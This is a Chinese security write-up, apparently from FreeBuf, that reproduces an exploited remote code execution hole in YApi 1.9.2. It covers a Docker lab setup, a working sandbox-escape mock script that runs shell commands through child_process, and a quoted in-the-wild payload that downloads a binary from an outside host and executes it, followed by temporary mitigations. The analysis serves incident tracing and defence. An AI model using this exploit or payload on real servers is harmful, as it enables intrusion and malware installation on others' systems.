发现运行YApi的服务器上出现恶意进程,通过研究受害机器并根据YApi在github上的讨论内容进行溯源分析,发现了rce漏洞并做了复现。
YAPI 部署
先通过docker部署一下漏洞复现环境。
1.构建镜像
本文所使用的YApi版本为1.9.2,为当前最新版本。
首先需要构造YApi的docker镜像,创建文件Dockerfile
并写入以下内容:
FROM node:12-alpine as builder
WORKDIR /yapi
RUN apk add --no-cache wget python make
ENV VERSION=1.9.2
RUN wget https://github.com/YMFE/yapi/archive/v1.9.2.zip
RUN unzip v1.9.2.zip && mv yapi-1.9.2 vendors
RUN cd /yapi/vendors && cp config_example.json ../config.json && npm install --production --registry https://registry.npm.taobao.org
FROM node:12-alpine
ENV TZ="Asia/Shanghai"
WORKDIR /yapi/vendors
COPY --from=builder /yapi/vendors /yapi/vendors
EXPOSE 3000
ENTRYPOINT ["node"]
然后在Dockerfile
统计目录下运行下面命令构建镜像:
docker build -t yapi .
在docker管理中心得到刚创建的yapi镜像!
2.部署 mongodb
在宿主机上创建用于实验的宿主目录,如/Users/test/yapi-test
。
在宿主目录下创建/data1/yapi/mongo
作为mongo的文件目录。
通过docker创建mangodb容器,作为YApi的数据库。
docker run -d \
-p 27017:27017 \
--restart=always \
--name mongo-yapi \
-v 【宿主目录】/data1/yapi/mongo:/data/db \
-e MONGO_INITDB_ROOT_USERNAME=test \
-e MONGO_INITDB_ROOT_PASSWORD=test@#1 \
mongo --auth
3.初始化数据库
在步骤2创建的宿主目录下的/data1/yapi/conf
创建文件config.json
,并写入以下内容,用于指导mongodb数据库初始化:
{
"port": "3000",
"adminAccount": "[email protected]",
"timeout": 120000,
"db": {
"servername": "【宿主机的内网IP,不能是localhost】",
"DATABASE": "yapi",
"port": 27017,
"user": "test",
"pass": "test@#1",
"authSource": "admin"
}
}
运行docker命令,对mongodb容器进行初始化:
docker run -it --rm \
--entrypoint npm \
--workdir /yapi/vendors \
-v 【宿主目录】/data1/yapi/conf/config.json:/yapi/config.json \
yapi \
run install-server
4.启动yapi
docker run -d \
--name yapi \
--restart=always \
--workdir /yapi/vendors \
-p 3000:3000 \
-v 【宿主目录】/data1/yapi/conf/config.json:/yapi/config.json \
yapi \
server/app.js
远程执行漏洞复现
通过本地3000端口访问YApi主页,并可通过在config.json
中配置的用户名和默认密码ymfe.org
进行登录。
恶意脚本
-
创建项目
-
创建接口
为接口配置全局mock脚本,内容如下:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()
触发
在接口详情页,点击Mock地址即可触发方才配置的Mock脚本。
从页面的返回信息可以得知Mock脚本中的shell命令已经得到执行。
文中示例的Mock脚本中恶意shell命令打印了自进程的信息,至于把shell命令替换为wget就可以从远程下载恶意软件并执行。贴一个中招的恶意代码。
mockJson = process.mainModule.require("child_process").execSync("id;wget http://2w.kacdn.cn/20000;chmod 777 20000;./20000").toString()
补救措施
长远的措施当然是等开发者把漏洞修复了然后更新上去。
临时的措施可以关闭注册或对注册链接做访问限制,避免恶意用户的进入。
转载说明
转载需注明出处,禁止商业利用及恶意利用文章内容。
来源:freebuf.com 2021-07-07 21:24:16 by: 天翼云安全研究
请登录后发表评论
注册